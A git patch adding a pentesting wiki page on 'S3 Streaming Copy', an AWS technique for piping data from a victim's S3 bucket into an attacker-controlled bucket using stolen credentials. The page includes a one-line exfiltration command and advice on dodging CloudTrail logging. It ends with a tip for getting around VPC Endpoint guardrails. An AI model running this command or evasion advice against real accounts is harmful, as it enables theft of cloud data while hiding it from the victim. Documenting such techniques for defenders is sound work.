From 811952e4e9db8e2015aba80558bb96188f26a8ec Mon Sep 17 00:00:00 2001 From: Houston Date: Thu, 9 Feb 2023 22:14:23 -0600 Subject: [PATCH 1/2] Create s3_streaming_copy --- content/aws/exploitation/s3_streaming_copy | 50 ++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 content/aws/exploitation/s3_streaming_copy diff --git a/content/aws/exploitation/s3_streaming_copy b/content/aws/exploitation/s3_streaming_copy new file mode 100644 index 00000000..8d0624c4 --- /dev/null +++ b/content/aws/exploitation/s3_streaming_copy @@ -0,0 +1,50 @@ +--- +author_name: Houston Hopkins +title: S3 Streaming Copy +description: Stream copy standard out to standard in with AWS S3 Cli utilizing multiple profile to avoid detection/logging in the victim environment +hide: + - toc +--- + +# S3 Streaming Copy + +Shout Out to Janardhan Prabhakara for showing me this all those years ago! +Note: This technique is a Bring Your Own (BYOK) attack. +Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account. + +Why would use this? +In many environments AWS->AWS traffic is largely unfiltered and extremely full of noise. However, you may find a key that can GetObject, but not PutObject. Or perhaphs, more likely, you would like to hide your putObject command. + +If you have found your way to a shell on an EC2 Instance of the victim your commands will be coming from an expected/trusted network which is even less likely to be detected. +s3 Streaming Copy can also be used from any terminal with CLI access. + +When this attack is perfomed the GetObject call is recorded in the victim cloudtrail dataevents (if enabled, aka hardly ever) But the PutObject call is recorded in the attacker's cloudtrail. + +Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials +``` +[attacker] +aws_access_key_id = +aws_secret_access_key = +``` + +If you have victim credentials native to EC2, running as an instance profile you can skip this next step if you want. + +create a profile for your VICTIM credentials. These are the keys you attained with access to the victim's aws enviornment. +``` +[victim] +aws_access_key_id = +aws_secret_access_key = +``` + +When using the AWS CLI you can utilize the --profile to specify the specific profile from the credentials file. + +And here is the s3 Stream Copy (for a single file) +``` +aws s3 cp --profile victim s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker - s3://attacker_bucket/juicy_data.txt ) +``` +note that you breaking the command and switching the profile context mid copy such that standard out writes to standard in. + +Prevention: +A well known, but not very common, way to prevent this is by mandating egress through a VPC Endpoint and applying a VPC Endpoint Policy that denies any request that does not match the principalOrgId. +This is becoming more common with the popularity of [Data Perimeters](https://docs.aws.amazon.com/whitepapers/latest/building-a-data-perimeter-on-aws/appendix-2-vpc-endpoint-policy-examples.html) guardrails +If this doesn't work it possible the VPC Endpoint policy is in place, try making the attacker destination bucket in another AWS Region. Cross-region calls will not typically traverse a VPC Endpoint. From 36ca339e5a82ab512d31aae8da5c90ff8a4a8bc6 Mon Sep 17 00:00:00 2001 From: Nick Frichette Date: Fri, 10 Feb 2023 09:12:48 -0600 Subject: [PATCH 2/2] Added markdown extension for MkDocs --- .../aws/exploitation/{s3_streaming_copy => s3_streaming_copy.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename content/aws/exploitation/{s3_streaming_copy => s3_streaming_copy.md} (100%) diff --git a/content/aws/exploitation/s3_streaming_copy b/content/aws/exploitation/s3_streaming_copy.md similarity index 100% rename from content/aws/exploitation/s3_streaming_copy rename to content/aws/exploitation/s3_streaming_copy.md